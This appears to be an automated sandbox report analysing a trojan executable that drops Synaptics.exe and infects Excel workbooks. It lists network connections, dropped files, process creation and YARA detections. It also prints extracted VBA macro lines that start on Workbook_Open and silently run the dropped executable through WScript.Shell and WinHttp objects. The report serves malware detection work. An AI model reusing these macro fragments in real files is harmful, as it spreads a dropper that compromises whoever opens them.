Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50065 version: TLS 1.2

System Summary

Document contains an embedded VBA macro with suspicious strings

Source: 1wyw8T59.xlsm.2.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: 1wyw8T59.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: 1wyw8T59.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: 1wyw8T59.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: 1wyw8T59.xlsm.2.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: 1wyw8T59.xlsm.2.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: 1wyw8T59.xlsm.2.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: 1wyw8T59.xlsm.2.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: 1wyw8T59.xlsm.2.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: 1wyw8T59.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: 1wyw8T59.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: DTBZGIOOSO.xlsm.2.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: DTBZGIOOSO.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: DTBZGIOOSO.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: DTBZGIOOSO.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: DTBZGIOOSO.xlsm.2.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: DTBZGIOOSO.xlsm.2.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: DTBZGIOOSO.xlsm.2.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: DTBZGIOOSO.xlsm.2.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: DTBZGIOOSO.xlsm.2.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: DTBZGIOOSO.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: DTBZGIOOSO.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: 1wyw8T59.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: DTBZGIOOSO.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: 1wyw8T59.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: DTBZGIOOSO.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: 1wyw8T59.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: DTBZGIOOSO.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ

Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Code function: 1_2_0040948B		1_2_0040948B
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Code function: 1_2_00406F10		1_2_00406F10

Source: 1wyw8T59.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: 1wyw8T59.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: DTBZGIOOSO.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: DTBZGIOOSO.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe

Code function: String function: 00401DB0 appears 49 times

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 21576

Source: ZmrwoZsbPp.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: ZmrwoZsbPp.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCXA37B.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ~$cache1.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: ZmrwoZsbPp.exe, 00000000.00000000.1634372315.00000000004C9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameezClear.exe2 vs ZmrwoZsbPp.exe
Source: ZmrwoZsbPp.exe, 00000000.00000000.1634372315.00000000004C9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameb! vs ZmrwoZsbPp.exe
Source: ZmrwoZsbPp.exe, 00000000.00000003.1641208834.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName2R vs ZmrwoZsbPp.exe
Source: ZmrwoZsbPp.exe, 00000000.00000003.1641208834.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName(x86) vs ZmrwoZsbPp.exe
Source: ZmrwoZsbPp.exe, 00000000.00000003.1639598035.000000000070D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameezClear.exe2 vs ZmrwoZsbPp.exe
Source: ZmrwoZsbPp.exe, 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs ZmrwoZsbPp.exe
Source: ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs ZmrwoZsbPp.exe
Source: ._cache_ZmrwoZsbPp.exe, 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenameezClear.exe2 vs ZmrwoZsbPp.exe
Source: ZmrwoZsbPp.exe	Binary or memory string: OriginalFileName vs ZmrwoZsbPp.exe
Source: ZmrwoZsbPp.exe	Binary or memory string: OriginalFilenameezClear.exe2 vs ZmrwoZsbPp.exe
Source: ZmrwoZsbPp.exe	Binary or memory string: OriginalFilenameb! vs ZmrwoZsbPp.exe
Source: ._cache_ZmrwoZsbPp.exe.0.dr	Binary or memory string: OriginalFilenameezClear.exe2 vs ZmrwoZsbPp.exe

Source: ZmrwoZsbPp.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@11/43@21/4

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe

File created: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4632

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\AppData\Local\Temp\1wyw8T59.xlsm

Jump to behavior

Source: Yara match	File source: ZmrwoZsbPp.exe, type: SAMPLE
Source: Yara match	File source: 0.0.ZmrwoZsbPp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXA37B.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\AIXACVYBSB\~$cache1, type: DROPPED

Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ZmrwoZsbPp.exe

ReversingLabs: Detection: 92%

Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe

File read: C:\Users\user\Desktop\ZmrwoZsbPp.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ZmrwoZsbPp.exe "C:\Users\user\Desktop\ZmrwoZsbPp.exe"
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Process created: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe "C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe"
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe"
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 21576
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 21576
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Process created: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe "C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe"	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior

Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
